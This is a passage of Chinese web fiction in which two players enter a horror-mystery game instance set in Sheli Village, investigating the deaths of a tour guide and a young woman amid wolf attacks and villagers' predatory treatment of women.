何瑜深呼吸,不知道是兴奋还是什么,“我想一个女生和我一起去,因为这个副本需要一男一女才能开启。”
“好。”林临想也没想就答应了。
“我知道这个要求很过分……啊?”何瑜疑惑了一秒。
林临摊开手,“我也想离开这个世界,有线索,为什么不去?”
“这倒也是。”何瑜不否认。
“不过我有个条件。”林临说,“在副本里,要首先保证我的安全,另外,副本所得报酬归我,如果是s级,那就是双倍报酬归我。”
林临在脑袋里快速地算了算,副本开荒是一百晶币,双倍的话就是二百,加上自己的是四百。
简直可以称得上一夜暴富。
她藏在口袋里的手指快速转动晶币,听着几枚晶币在兜里碰撞发出的脆响,脸上露出了满意的笑容。
这么一来,兜里的三十晶币确实有点不够看了。
“没问题。”何瑜嘴角抽了抽,“我答应。”
“什么时候去?”
何瑜敲了敲额头,“看你吧,我已经做好了准备,只等一个合适的搭档。”
“明天吧,我先去找个落脚的地方。”
“行。”何瑜取出自己的小球,又示意林临把自己的取出来,碰在一起后“叮”的一声,“我先付给你一百,剩下的出了副本结清。”
“可以。”
“所以副本有什么消息?”
“副本的名字叫群狼环伺。”
“然后呢?”
“没了。”何瑜走到咖啡机前敦促它工作,“再来一杯?”
“还是白水。”林临接过杯子,“除了副本名字,其他的什么都不知道?”
何瑜回忆了一下,“还有些传言,真假参半,我觉得没必要说出来扰乱你我的思路。”
抿着咖啡,香浓醇厚的味道在舌尖徘徊,何瑜露出餍足表情,将传言说给林临听,“有人提到,这个副本里同伴很重要。”
“还有吗?”
“就这么多。”
“那走吧。”林临放下水杯拍拍手,“择日不如撞日,宜早不宜迟,现在出发。”
服务中心。
上次来没仔细看大厅,这次看过之后,林临表示对副本中心这种商务审美敬而远之。
推开门走进去,同色系的旋转楼梯盘旋而上,人流络绎不绝,大厅巨大的屏幕上实时播放着最新的副本通关情况。
大厅中间,银色小球在柜台后飞舞着为玩家登记,一切有条不紊,井井有条。
何瑜信守承诺,帮林临缴纳晶币。
之后,两人在外面的候客厅里等着。
不过一会儿,进来了几人,林临看了看,外面还有人在招募临时队友,侧身附耳道,“外面的人在找队友,这个副本这么热门吗?”
“这个副本卡住之后,奖励提高了,以前是一百,现在是一百五。”何瑜用极低的声音解释道。
“行。”
很快,林临被门外的动静吸引。
门外站着的大汉正在卖力地招募着队友,他长得十分强壮,额头上还有一道刀疤,一路延伸到下巴,堪称凶神恶煞。林临看着他招募队友不成,开始主动出击,拉着人介绍起副本来。
“快到时间了。”何瑜看了看候客厅的显示屏,“还差四个人。”
另一处,摆渡车发出鸣笛声,提醒大家不要忘记上车。
林临放弃看热闹,跟着何瑜上车。
摆渡车很快坐满了人,包括那个男人,他身边站着一个很瘦小的女孩,紧紧抓着他的衣角不松开。
女孩长了一张坚韧的脸,头发干枯杂乱,身上衣服磨损严重,唯一可圈可点的是那双亮的惊人的眼睛,没
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有一丝慌乱,反而带着好奇。
她拽着男人的衣角,跟着他走到林临和何瑜的前一排坐下。
林临听见她说,“你帮我交了门票,我出来了双倍还你。”男人则摆摆手表示不用。
最后上来的是一对男女,看起来并不熟悉,男人长得高挑,旁边的女孩可爱圆润,两人并排坐下,摆渡车“咔”地一声关上车门,缓缓开动。
摆渡车驶出泊车厅,一道白光闪过,等林临回过神,车前面的柏油马路变为了乡间小道,车辆摇摇晃晃,这让她不得不伸出手扶住面前的座椅靠背。
触感不对。
林临定睛一看,瞧见面前干净整洁的座椅已经变成略带着油污的大巴车靠背,常见的蓝色方巾歪斜地搭着,上面还有被烟头烫出来的窟窿。
林临马上收回了手,还很嫌弃地甩了甩。
[为了享受假期,你选择跟团旅游,在路过中转站佘李村时,却因突发意外滞留,在这里,你嗅到了不寻常的味道。]
[作为游客,请不要过多干涉佘李村即将举办的村祭,尽量配合佘李村村民的行动,否则会引来不幸。]
[背靠荒山,佘李村深受野狼袭击的困扰,这对游客来说同样是威胁,在面对野狼时请谨慎选择应对策略。]
[作为人生地不熟的游客,听从导游的安排,会让你的旅行更为安全。]
[副本支线任务:佘李村真正的致富之路是什么?
副本支线任务:队伍中多余出了一人,找出她/他来佘李村的目的
副本主线任务:逃离佘李村。]
眼前的字一闪而过,如同沙子般悄然散去,好在林临的记忆力不错,看一遍就能复述个七七八八。
这个副本看起来并不简单,既要应对佘李村村民,还要防备野狼。
更为重要的是,任务最后一条特别提醒,要听从导游的安排。
“前方到站佘李村,天色已晚,咱们现在这里过一夜,天一亮就走。”前方传来导游的声音。
导游是个年轻的男人,不过因为常年风吹日晒,肤色有些黝黑,扩音用的小蜜蜂有些接触不良,于是他介绍的声音伴随着电流声,很有年代感,“大家先休息吧,到站了我会把大家喊醒的。”
车仍然摇摇晃晃的,直射的阳光照的人昏昏欲睡。
“趁着还没到,我跟大家先说一下咱们要注意的事,佘李村晚上不太平,野狼多。咱们千万记住了,到了晚上就别出门了,狼崽子聪明,有时候会模仿人敲门,咱一定得认真分辨。”
“还有一点,也是最重要的一点,咱旅行团是去几个人,回来几个人,不要说你遇到什么危险,你掉头跑了,把女同志丢下了是不是。”
导游这话说出来,引得自己哈哈大笑,可他笑着笑着,慢慢的停了下来。
车上的人没有跟着笑的,方才还睡眼惺忪的几位此刻圆睁着眼睛,生怕错过什么细节似的盯着他。
“咱们就在这里过一夜,大家尽量不要和村里人起冲突,以前有些人仗着自己是游客,偷别人家里的东西,那可不行,记住了哈,我跟大家说的话大家都要记住。”
林临闭着眼,心里却盘算着。
佘李村不太平,野狼多,晚上不能出门,听到有人敲门一定要分辨是人是狼,这是导游给的敬告。
那第二句话呢,多少人去多少人回来,不要丢下女同志。
这一条是规则吗?
过了大约半小时,破旧的大巴车发出一声叹息,轰鸣过后,导游挥舞着红旗招呼大家下车。
13. 群狼环伺
“大家跟着我的手向前看,前方这座镇子就是佘李村,旅行团在这里定了房间,大家先在村子里过一夜,明早在这里集合,大巴来接大家。”
有人举手,“司机不和我们一起吗?”
导游看了看在车上纹丝未动的司机,“司机去别的地方休息,不和大家在一起休息了。”
“明天可一定要接我们啊。”
“对,这里这么偏远,没了司机我们怎么去下一个景点。”
众人围着导游七嘴八舌地说着,导游没办法,扭动身子躲开他们,朝着远处兴奋地挥挥手,“村长来了,咱们先跟村长打个招呼。”
村长是个佝偻着腰,上了年纪的老爷子,冲这边挥手打招呼,边挥手边笑。
但他长得实在不怎么和善,尤其是占据了脸庞大半面积的鹰钩鼻,总让人觉得不舒服。
“那我明天来接他们,大约在明天八点左右。”导游举起手,衬衣袖口自然垂落,露出里面昂贵的腕表,“我清点过人数,七男七女。”
老镇长点点头,冲众人招招手,“你们跟我来吧。”
佘李村本是个坐落在深山里的村落,由于近年来扶贫力度加大,佘李村的生活好了不少,家家户户都有了自建的小楼房。
有了房子,本地人再也不想回到以前的苦日子,一些村民趁政策东风办起了农家乐,倚靠着背后的荒山,生意倒也红火,总比以前上山打猎赚得要多。
趁着镇长带大家往镇上走的间隙,导游赶紧给大家讲讲佘李村的农家乐项目,“咱们这个旅游线路本来就是要经过佘李村的,再加上佘李村的农家乐野味儿比较有名,所以旅行社决定,送大家一晚农家乐,只需要额外付费199,很划算的。”
说的冠冕堂皇,实际上明眼人一看就知道,这就是所谓的捆绑销售。
更气人的是,这捆绑销售早不销售,晚不销售,偏偏等到大巴车走了,他们没办法了再销售,这让大家都很有意见。
果然,导游上前收钱的时候,有人不愿意了,“什么呀,还要额外付费,司机呢,我们要回去。”
“你们这是什么服务态度?我要投诉,我要打消费者投诉热线,你们旅行社就给我等着吧。”
林临循声看去,看到是两个衣着花哨的人,看起来并不像是玩家,反而像游客。这十四人里还混杂着部分游客,那副本的难度就大大提升了。
毕竟,游客并没有配合玩家通过游戏的义务,好在只有这两个刺头,一番僵持之下,导游为他们指明方向,让他们自己找地方休息。
一男一女就这样离开佘李村,嘴里还嘟囔着什么我要投诉你们之类的话。
导游连忙向剩下的游客赔不是,但道歉归道歉,该收的钱还是要收的,于是挨个收过去,各位玩家可没有刚才那两位的洒脱,连忙从兜里翻出钱上交。
清点完毕后,导游脸上挂上久违的笑容,“咱们跟上我,别跟丢了。”
很快,村长带着几人到了他们要入住的民宿,一对长相极其相近的兄弟就站在门口迎接。
“我叫佘文。”
“我叫佘武。”
两人做了个自我介绍,引着大家走进院落中,佘文道,“大家自行分配一下房间吧,我和佘武就住在隔壁,有什么事情就叫我。”
他踮起脚数了数,皱起了眉头,“十二个人是吧,可是咱这个院子只能容纳十个人,你跟我们到隔壁去住吧。”他说的是导游,导游拎起手边的导游帽子和装备,对着众人说,“有人和我一起住吗?”
队伍里除了林临和何瑜这样的进副本前就认识的,还有些临时组队的,一下大巴车,大家乱糟糟地一站,自然忘了站在自己身边的是谁。
现下认识自己搭档的都不自觉靠在一起,不认识自己搭档的都面面相觑起来。
“出一个人啊。”导游不耐烦地说。
几个人推推搡搡,推出了一个长相秀气的女孩,她穿着白衬衫,怯生生地走了出来,“我跟你过去。”导游脸色缓和了些许,“我们晚上有个农家乐的项目,佘武给他们介绍一下。”
佘武应声道,“晚上我们在院子里集合,吃我们佘李村最有名的烤肉,这都是上周在山上打的野味,平时我们都舍不得吃的,大家不要忘记参加。”
“能不参加吗?”有人举起手提问,林临看了一眼,那人长得很文秀,略带一股书卷气。
佘文态度倒是很好,“能,不过不退钱。”
有人开了个头,便陆陆续续有人举手说自己不参加晚上的聚餐,这让佘武脸上有点挂不住,低声嘟囔着,“来农家乐不吃饭,真是一群怪人。”
最后一统计,想参加的和不想参加的一半一半,林临何瑜在想参加的那一半里。
“那大家一会儿到院子里集合,我们去隔壁腌肉。”佘武说话的时候不老实,眼睛老往旅行团的女生身上瞟,何瑜没说什么,不动声色地把林临掩住。
佘文狠狠瞪了一眼佘武,确保他老实后,这才开始介绍佘李村的风土人情,佘文说着佘李村名字的由来,大抵是以前有两个村子,名为佘村和李村,后来因为天灾,合并在一起,这才取了佘李村这个名字。
还有就是佘李村后山有野兽出没,告诫大家要注意安全,不要随意走动。
林临从头到尾没说什么,等佘文说了解散,就陪着何瑜转身上了楼。
佘文两兄弟的院子挺大的,容纳十个人绰绰有余,林临选择住在二楼朝南的那间,房子打扫的很干净,四件套都换好了,何瑜走进去先把热水壶启动了。
“一会儿洗漱,总不能用凉水吧。”何瑜倒杯水递给林临,“而且开水卫生。”
初秋的天气,临近傍晚总是冷些,林临呷一口热水,这才抬起头说,“我感觉他们两个要出事。”
“静观其变吧。”何瑜顺着床边把床单捋的平整,又取出一张床单铺在地上,开始收拾自己的被褥。
林临制止了他,“睡一起就行,副本里不讲那么多。”
何瑜点点头,算是应下这句话。
入夜,乡下的夜晚总比城市里的寂静,空旷的荒野上,虫鸣鸟叫都显得催眠,林临躺在床上,看何瑜用门栓把门顶住,又转身坐在床边,
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“你睡前半夜,我睡后半夜。”
林临没推辞,闭眼睡去。
两人轮班休息,直到天明都没听到什么异响。
第二天天一亮,众人便纷纷下楼,清点了人数后,有人看了一眼表报时,“七点半了,导游怎么还没来。”
“再等等。”
站在原地等待的诸位心知肚明,导游多半是出事了。
等了约莫半小时,有人提议去隔壁看看,大家应声,结果刚一出门就碰到了佘文和佘武。
“出事儿了!”佘文说。
“出什么事儿了?!”
“是不是导游死了。”
“尸体在哪?快带我们去看看。”
佘文:?
这是什么意思,你们是侦探吗?怎么有种进入新剧情的兴奋感?
隔壁小院房间不多,佘文将他的房间让给了导游和昨天那个女孩,睡在了佘武的房间里,早晨去敲门的时候,里面的人没有反应,两人一合计,干脆将门撞开了。
撞开门一看,里面躺着两个人,导游死在了门口,一只手伸向门口,如同一只风干的蜥蜴,而女孩死在了床上。
林临不动声色地站到导游的身侧,凝眸观察着他的死状。
导游的脖颈被完全撕烂,上半身可以用血肉模糊来形容,有人壮着胆子把他翻了过来,顿时引起一片低呼。
凸起的眼球已经挣脱了眼眶的束缚,补满血丝的眼睛暗示着死者应该是看到了什么令人恐惧的场景。鲜血滴滴答答的,顺着眼眶结构淌了下来,将鬓角打湿。
查看了导游的尸体,众人转而去看了女孩的尸体,有人低声说,“被人掐死的。”
女孩脸色青紫,胸口的骨头塌陷下去,腹腔被一层浅浅的皮肉包裹,像瘪了的气球,呈现出中空的状态。
林临歪着头看了看,发现女孩的四肢有些异样。
简单地说,是手掌和脚掌都骨折了。
她凑上去摸了摸,体温还没有完全消散,现在是七点,说明死了没多久,很有可能凌晨才刚死。
林临又蹲下摸了摸女孩的手掌,发现整个手掌从掌心位置向外翻了整整九十度,用力捏一捏还能感受到里面碎掉的骨碴。
脚掌亦是如此,双脚的白袜被撑开了,浸满了鲜血。
林临绕到女孩尸体后面,看到女孩雪白的颈子上赫然一片紫色,再看女孩的脸,同样的眼球凸出,不同的是舌头耷拉着,口水流了一身,显然是被掐死的。
别的林临也看不出什么了,只能悄悄退出来,又换了其他人上去看,最后大家得出结论,女孩是被人掐死的,而导游是被野兽杀死的。
“有没有可能导游掐死了女孩,然后又碰到了野兽,这才死在了房间里。”
林临站在窗户边,窗栓上落了一层灰尘,显然没有人动过。
何瑜用力拉了拉木栓,窗户纹丝未动,“你说的很有可能,但野兽怎么悄无声息地进入这个房间的?”
“那就要问问佘文了。”林临拉着何瑜离开了窗户,走到门外,门外一群人将佘文围了个水泄不通。
14. 群狼环伺
有人说,“报警了吗?”
这人声音清亮,听着年岁不大。林临一看,果然只有二十出头的样子,背了个暗绿色挎包,也是他第一个说女孩是被掐死的。
“还没。”佘文很镇定,“这是你们旅游团的事儿,跟我们没关系。”
“怎么没关系。”少年站出来说,“他是死在你们家里,归根到底是要你们负责的,你一句话就能把事情推卸干净了?”
佘文讪笑,“那我能怎么办?我又不是警察。”
“你得配合我们,配合我们把这件事情搞清楚。”少年继续说。
佘文摆摆手,“我不是警察,我怎么配合你们?”
一众人将佘文围了起来,七嘴八舌地说着,佘文被说的连连败退,连忙举手投降道,“行行行,你们想知道什么,我都说。”
“你们就住在隔壁房间,半夜听到什么声音没有。”少年问。
佘文:“没有,一点动静没有,我睡得比较死,听不见也很正常。”
“附近有没有什么能造成这种伤口的野兽,你好好回忆一下。”
佘文:“附近有野狼,尤其是村祭这段时间,很猖獗,经常有人被拖走。”
林临加入询问,“野狼猖獗这件事有没有反应过?”
佘文没理她。
林临重复,“野狼猖獗这件事村子里是怎么说的?没派人处理过吗?”
还是没有回应,就在林临要继续重复询问的时候,何瑜拦住了她,代替她问道,“野狼猖獗这件事,你们有没有做过什么措施,比如说安全防护?有没有什么结果,比如说猎到过狼之类的。”
佘文终于开口,他嗫嚅着,斟酌着词句,“有,但是一直没什么用,我们搜过山,但一无所获,那帮畜生一看人来就跑了。”
他说着,看着何瑜的脸色,见他脸色没有变化,又说,“你这婆娘也太不懂事儿了,老爷们说着话,她就上来插嘴。”
林临没说什么,只是握住了何瑜的衣角,何瑜笑笑,露出洁白的牙齿,“我的婆娘你少管。”
他说话凉凉的,字里行间涂了薄荷味儿的清凉油,带着摄人的寒意。
佘文讪笑,这是他第二次露出这个表情,“好嘛,不说了。”
林临趁此机会认真看着佘文的脸,那是一张老实巴交的脸,脸上多的是岁月和曝晒留下的痕迹,憨厚和敦实写在了眼睛里,不过——
她看着,那佘文的眼睛里忽而闪过一丝怨毒,像一条毒蛇。
林临没说话,往何瑜身后躲了躲,低下头的瞬间,她在仔细思考任务中,不要干涉佘李村村祭,以及不要和佘李村的村民起冲突这句话。
现在看来,目前遇到的这几个佘李村村民,对男性玩家有着超乎寻常的包容。
林临这一行为逗笑了佘文,他指着林临笑道,“你看你婆娘,倒是很听你的话嘛。”
何瑜没说什么,只是一味盯着佘文。
“你扯哪去了?”少年不满地打断佘文,“让你说野狼的事情,你乱看人家干什么?!”
下一刻,林临的手被温热的手掌握住,她侧身看去,瞧见一个长相温婉的女人正站在自己的身边,一只手轻轻地握住她的手腕。
“小风嘴巴很厉害,不用担心的。”女子笑得温柔,水润的唇瓣红红的,“你跟我去看看尸体?”
“好。”
林临跟着女子走到房间里,没了纷扰,她们倒是可以离得更近了。
房间里还有一对男女,正半跪在床前观察着女孩的尸体,见林临进来了并没有说什么。
“看看有什么收获没有。”女子穿着牛仔短裤,不太方便蹲下,只能站着观察,林临没那么多顾忌,干脆蹲下凑近了瞧。
她刚才就想看,不过人太多了没有挤进来。
将导游的袖口翻折上去,林临眯了眯眼,手腕上那枚昂贵的腕表不见了。
谁拿走了?
野狼显然不会动这些财物,林临皱起眉头,应该是佘文或者佘武拿走了腕表,是求财吗?
“有什么发现没?”女子打断了林临的思绪。
林临仰起头看她,“导游的腕表你们看到没有。”
“腕表。”女子双手交叠放在腹部,身体的曲线显露无疑,“没有,他有戴腕表吗?”
林临点点头,顾不得血腥,将导游胸前的衣服解开,露出导游的胸膛。
几道暗沉下来的血痕交错在胸口上,像是激烈打斗留下的。
“有抓痕。”
她摸着这些早就凝固结痂的抓痕,扭头对床上两人说,“看看那女孩手指甲里有没有血。”
得到了肯定答案后,林临走到女孩尸体前,托起女孩手腕,发现手指缝里还残存着皮肉和血液,“女孩和导游有过冲突,他们打起来了。”
“导游把女孩杀了?”一直低着头看尸体的那男子终于抬起了头。
“不知道。”林临认可这个结论,但她不能附和别人,这样会影响别人的判断。
“好吧。”女孩没追问,而是做了个自我介绍,“我叫张雯,他叫孙畅,你叫什么名字?”
“林临。”
“李沐雨,我的搭档叫齐风。”李沐雨淡淡开口。
张雯道,“也不知道他们外面聊怎么样了,咱们出去看看吧。”
几人正走到院子里,院子大门突然被推开了,推门进来的是佘武,他脸上尽是焦急,急声道,“出事儿了。”
佘武灰头土脸地带来了消息,据他说,佘李村位于佘李山上,恰逢秋汛,雨水丰沛,山上滑坡落石,把进出山的路给堵住了。
“大约要五天,这道路才能彻底通车。”佘武支支吾吾地说。
众人对这个期限并不意外。
齐风已经没再说话了,是另一个男人在说话,“你刚才说到这个时间段总会有野狼出没,是怎么回事?”
佘文道,“春天嘛,野狼要生小崽子,崽子一多,山里的东西就不够吃,就到村里来找东西吃,尤其这段时间还举办村祭,堆放的食物多了,更吸引野狼了,隔三差五就要下山来。”
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>他状似烦恼地一拍脑门,好像真的为这件事烦恼:“现在山路堵了,这群狼崽子又要下山了。”
那男人说,“这个你别担心,我们倒是能帮上忙,但前提是你必须告诉我们你知道的全部。”
“当然当然,我知道的都说了。”佘文仍然弓着腰,谦卑地作揖。
这让男人很受用,脸上浮现出自得,他说没什么可问的了,换了别人去问。
林临听了一会儿,那男人问的大多都是些佘文已经回答过的问题,比如野狼下山的时间,野狼是什么时候出现的,佘文知无不言,翻来覆去说了多次,没有不耐烦。
“导游的表不见了。”林临附在何瑜耳边,和他说着话,“我们在导游前胸发现了几道血痕,是那个女孩抓的。”
“回去说。”何瑜握住了林临的手,阻止她继续说下去。
“好了,我问完了。”最后一个男人终于问完了,佘文试探着问自己是否能离开,得到了许可。
佘文离开后,众人也不再聚在一起,张雯和孙畅说要去村里转转,看看有没有什么线索,邀请林临一起去,不过林临出于安全考虑拒绝了。
林临跟着何瑜走到门外,交流起想法来。
林临:“你们问到什么消息了?”
“佘文一口咬定那导游是野狼咬死的,但野狼是怎么进入房间的,他也说不清楚。”
“关于村祭,你们知道多少?”
“他们说这周六举办村祭,为了纪念佘李村的设立,也为了祈求来年风调雨顺,东西都准备好了,也正是因为这个,野狼下山越来越频繁了。”
“村祭在哪里举办?”
“村东头的那个祠堂。”
何瑜将刚才佘文说的话重复了一遍,而后下定结论,“我觉得我们有必要去村祭的祠堂看看。”
“还有一件事。”
“你说。”
林临叹了口气,“佘文和佘武对女人好像很排斥,不对,不能说排斥,只能说他们没有把我们这些女人当人来对待。”
“嗯。”何瑜点了点头,“我们先去村——”
“咚!”
微小的撞击声响起,何瑜顿住,屏息凝神听了一会儿,确认那声音就是从墙后传来的,招呼林临跟着一起侧耳听。
一阵颇有节奏的敲击声从墙后传来,像是人拿着什么东西在慢慢敲击着墙壁。
林临正聚精会神地听着,余光中一道黑影正在悄然靠近,看清是谁后,林临立刻侧身拉开距离。
何瑜喝道,“什么人?!”
那黑影“嘿嘿”笑了两声,自阴影中走出,原来是佘文,他一双眼睛先是在林临的脸上转了一圈,接着对何瑜说,“你俩在这看什么呢?”
“我鞋带开了。”何瑜蹲下装模作样地将自己的鞋带调整了一下,而后拉起林临的手,“这就走。”
佘武眼睛仍然盯着林临,“那我就不送了。”
两人离开佘文家,并没有回到自己的房间,而是顺着乡间小道一路东行,朝着东边的祠堂走去。
15. 群狼环伺
佘李村很重视村里的传承,村子致富之后首先修缮的就是祠堂,先是用石砖垫高了地基,然后又运来了高大的原木,将整个祠堂加固,经过这几年一轮又一轮地修缮,早已变得焕然一新。
何瑜大马金刀地走上前去,正要推门进去,却没有推动。
上了锁。
不过想来也正常,祠堂这种地方,除了逢年过节和祭祀,大多是不对外开放的。
何瑜让林临站在原地不要乱走动,他看看有没有小门可以进去。
可不知道为什么,林临总觉得站在原地等并不是一个好选择。
突然,林临似乎听到有什么声音,由远及近地过来,越来越近时,还夹杂着几句人声,想到佘家两兄弟对自己的态度,林临没犹豫,闪身躲到祠堂坐兽后,安静地看着。
“死畜生。”较高那人骂骂咧咧的,手里拽着什么东西,在地上拖曳出一道深深的血痕。
另一人附和道,“还是万里哥有手段,不然还真让这畜生跑了。”
林临探出头,侧耳听着两个人的对话。
那名叫万里的男人轻蔑地笑了笑,伸出手在矮个子脸上拍了拍,这并没有让矮个子感觉到被羞辱了,出乎意料地,他殷勤地伸出手,似乎想要接过万里手中的东西。
“啪!”
那个叫万里的,一个耳光将那矮个子打的原地转了个圈,“你也配,小杂种。”
“是是是。”矮个子立刻弯下了腰,灰溜溜地跟在万里的身后。
“找个拖把把地拖干净,村子里来了外人,不能让他们看见。”万里吩咐道,“听说旅游团还有几个女的,你好好表现,这次说不定能给你相个婆娘。”
那矮个子一扫刚才的阴霾,立刻凑上前来,咬着佘万里的耳朵,“那几个怕是不好搞哦,我听说人家是来旅游的,丢了家里会找的。”
“瞧你那德行。”佘万里看他那副紧张兮兮的样子,当即被逗笑,伸出一根手指猛戳对方的脑门,将对方脑袋戳的像拨浪鼓一样摇晃,“胆子不大,你以后别做这行。”
“还是要小心些嘛。”
两人说完话就分开了,那万里打开锁走进了祠堂,而那个矮个子则转身去找拖把处理地面。
林临心几乎要跳出来。
她一面祈祷着何瑜不要突然回来,一面观察着那祠堂,万里进去呆了很久,确保他不会突然出来之后,林临才躬身绕着坐兽转了个圈,走到祠堂侧面来。
祠堂侧面有一条小路,还没有完全修好,四下的杂草长得很茂盛,只是临近秋天,杂草叶子稀稀疏疏地泛着黄,她沿着小路一路向前走,走到祠堂背后的时候,听到草丛里传来了窸窸窣窣的声音。
“谁?!”
林临一出声就后悔了。
如果要是佘李村的人,再加上刚才那些人说的话,做出的表现,不由得惊出一身冷汗,她后撤一步,时刻准备转头就跑。
好在拨开草丛走出来的是何瑜。
“后门也是锁着的。”何瑜拍拍身上的草叶和尘土,“来,搭把手把我拉出去。”
林临照做,而后将她看到的和何瑜说了。
何瑜不动声色地点点头,只是伸出手握住了林临的手。
林临的手很冷,握在何瑜手里的时候还在无意识地颤抖,何瑜抬眸看向林临,见她穿的很少,一件单薄的线衣已经紧紧地贴在了身上。
她好像被吓到了。
不过林临表面上还是很镇定的,何瑜甚至想,林临可能现在都不知道自己被吓到了。
林临低头看了看两人相握的手,有些不明所以地看了何瑜的脸,她抽了一下,将手抽出来,何瑜没勉强,任由她把手抽走。
那道新鲜的血痕已经不见了,只留下洗刷的痕迹,祠堂也重新被锁了起来。
“他为什么要把东西丢进祠堂里。”何瑜呢喃道。
林临道,“按理来说祠堂不应该是放牌位的地方吗?”
“得想个办法混进去。”
林临正想说什么,忽然感觉背后起了一阵冷风,回头一看,心脏都停了半拍。
“你们在这里干嘛呢?两位。”
高个子男人并没走,而是像林临一样躲了起来,等着两人出现又现身。这让林临觉得庆幸,如果她是自己上前查看,而不是先找来何瑜,那麻烦就来了。
何瑜道,“我们是旅游团的,随便走走,恰好走到了祠堂这边,别的不说,你们这祠堂可真气派。”
佘李村是传统的老村子,对家族传承和名声很是看重,蓦然听到对方夸赞自家的祠堂,油然而生一种自豪感来,以至于万里说话都客气了许多。
“你这小哥说话可真中听,那个,我叫佘万里,就那个一万里的万里。”佘万里在身上擦了擦手才递过来,与何瑜握了个手后又从口袋中掏出一个破旧的烟盒,“来一根?”
是乡下很常见的卷烟,边缘都被封的整整齐齐。
“自己卷的?”何瑜没接,“我不抽烟。”
佘万里收回了烟,放在自己的唇边,猛吸一口,这才继续说,“不是。”
何瑜不想在这个话题上多纠缠,他扬了扬手帮林临驱散烟雾,笑着说,“我听说最近有村祭?”
“是啊。”
“到时候我们能来看吗?”
“能,肯定能啊。”佘万里扬眉笑笑。
何瑜:“你们这村祭排场不小,看起来耗时耗力的,野狼不会影响村祭的进程吧?”
“该办的就得办,这也是没办法的事情。主要是那群畜生一直捣乱,不然早就弄好了,也不至于到现在。”佘万里提起这个就生气,也许是多吸了两口烟,呛的咳嗽了几声,于是把烟蒂丢在地上,拿脚捻灭。
林临注意到他抬起的手上,乃至于手腕上都是血,红黑色的,已经略微有些凝固了。
何瑜笑:“需不需要我们搭把手。”
佘万里的咳嗽声戛然而止,他插着兜,挑起单边眉毛,狐疑地说,“你们?”
“闲着也是闲着,我问问旅行团的人愿不愿意搭把手,帮个忙。”
“那倒是一件好事,我们后天晚上收拾完那帮子畜生,就能帮你们清理一下落石了,到时候你们也能早点出去。”
佘万里并没有把何瑜的承诺放在心上,在他看来,这个看着白白净净,长相略有些俊秀的男生说的话并没有多少分量。
但他看上了这人旁边站着的女孩。
女孩长得很合他的心意,长得清秀娇小,眼睛大大的,很灵气,像葡萄,鼻尖翘翘的,嘴巴小小的,他说不上来,反正就是很有韵味的长相。
这是他见过最漂亮的女孩。
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>但村长说,最近要举行村祭,许多大人物都要来,不能轻举妄动。
林临感受到佘万里的视线在自己的脸上如蜻蜓点水般略过,那是一种很具有侵略性的眼神试探,好在何瑜横在了两人之间,挡住了对方。
佘万里走了,临走的时候还不停地回头看着。
林临对何瑜说,“这是第三个了。”
“我知道。”
第三个拿这种眼神看她的男人,严格意义上来说,她来这个村子也就见过四个男人。
“这个村子不对劲,至少对女人的态度不对劲。”
何瑜算是认同这句话,“从现在开始咱们两个人不要离开彼此。”
林临答应了。
回到佘文的院子,林临远远就听到有人在哭,断断续续的。
进了院子,见一个男人瘫坐在地上,正哭的伤心,林临没说话,从他的身后绕了过去。
她虽然面上表现得漠然,但该听的一句都没漏。
“我和她从佘文的房间出去之后,就往祠堂那边走。”
“谁能想到路上会出事呢,我真想不到路上会出事,如果我知道的话,一定不会让她自己一个人去。”
“没看到,我什么都没看到,我听到小宁喊我,我就冲进去看,她已经不见了。”
“对,我觉得是野狼,一定是野狼把她拖走了。”
“我真后悔,我们已经订婚了,我们马上就能结婚了,怎么就出了这种事情。”男人痛哭流涕,用头不停地撞击着地面,不多时就把头磕的血肉模糊,但周围的人没有上前劝他的,只是任由他这样哀嚎。
“他叫王峰,他女朋友和我说过几句话,好像叫什么宁来着,我不记得了。”张雯过来,及时共享了信息。
林临对她露出微笑表示自己收到。
张雯抬起下巴点了点王峰,“他手上确实带着婚戒,挺可惜的。”
她说着,突然顿住了。
王峰的手上空空如也,显然没有张雯所说的婚戒。
“我绝对不会看错的,这是我的职业习惯。”张雯努力回忆了一下,“你相信我。”
林临若有所思。
看起来王峰似乎没说真话。
这个副本里,不仅npc在撒谎,玩家彼此也不够坦诚。
她朝着何瑜递去眼神,何瑜便跟着一众人抬着王峰进了房间,过了一会儿他走出来,低声说了汪峰的表现。
“你是说他说不出戒指去哪了?”
王峰表现得很异常,他先是说自己的戒指丢了,后又说自己忘记了,根本没带进副本。
“哦对了。”何瑜没避着张雯,“王峰好像和人打了一架,身上有伤。”
“王峰一定有问题。”林临对何瑜说。
他一定是遇到了什么人,那些人带走了王峰的女朋友,殴打了王峰。
那他编造出野狼拖走女朋友这一谎言的意义在哪?
林临想不通,女朋友被人带走了,作为男朋友的他不应该想尽一切办法把女朋友夺回来吗?
再退一万步来讲,旅行团的人这么多,让那些人把他女朋友还回来应该也没有那么难吧。
但现在什么线索都没有,甚至王峰女朋友是否还活着都无法确定,林临心头有无数疑云,她看看何瑜,又看看张雯,没有说话。
16.群狼环伺
到了中午,佘家兄弟又来喊大家去吃饭,昨天的农家乐没有出事,所以今天的大家很响应号召,纷纷说要去。
佘文的手艺很不错,众人吃饱喝足之后,佘文站起身去收拾厨余垃圾。
在他收拾的这个空隙里,林临又听到了撞墙的声音。
在佘文家那个茅草搭建的窝棚里。
由于她说话佘文和佘武总会选择性忽略,所以她干脆让何瑜去交涉,何瑜看着文文弱弱的,但套话很利索,算是意外之喜。
佘武说那个窝棚以前是养猪的,后来野狼下山,把仅有的几头猪都拖走了,气得佘文牙根痒痒。
当问及怎么不收拾一下再养猪的时候,佘武的回答就很暧昧了。
“我哥不让。”
“可惜了这么大一块地。”
“我也说过养点东西,哪怕养点鸭子鸡什么的,至少补贴点家用,但是我哥就是不同意,说是有用,我说能有什么用,现在生意又不好——”
“佘武!”
佘文远远怒喝了一声,打断了佘武,“喝二两马尿你不知道自己是谁了是不是?”
佘武悻悻闭上嘴,耸了耸肩表示自己只能说这么多。
何瑜笑道,“我知道了。”
两人吃完饭并没有再次出发,而是回房间休息了一会儿,复盘刚才得到的消息。
佘文口风很严,佘武说了几句也被阻止了,佘万里透露了一些关于村祭的事情,还有一个关键信息,就是过几天要出去打猎。
也就是说,大家很有可能会和野狼碰上面。
根据副本名字所给的提示,也许帮助村民杀掉野狼就是离开副本的办法。
“我觉得不会那么简单。”林临对副本做出了评价,“你别忘了这个副本的酬劳有多丰厚。”
林临说着,眉头突然皱了起来,见门开了一条缝,隐约看到有影子飘过,经过上次王姐的事情,她对这些监视很敏感,于是上前推门,发现门外空无一人。
但门口有新鲜的脚印。
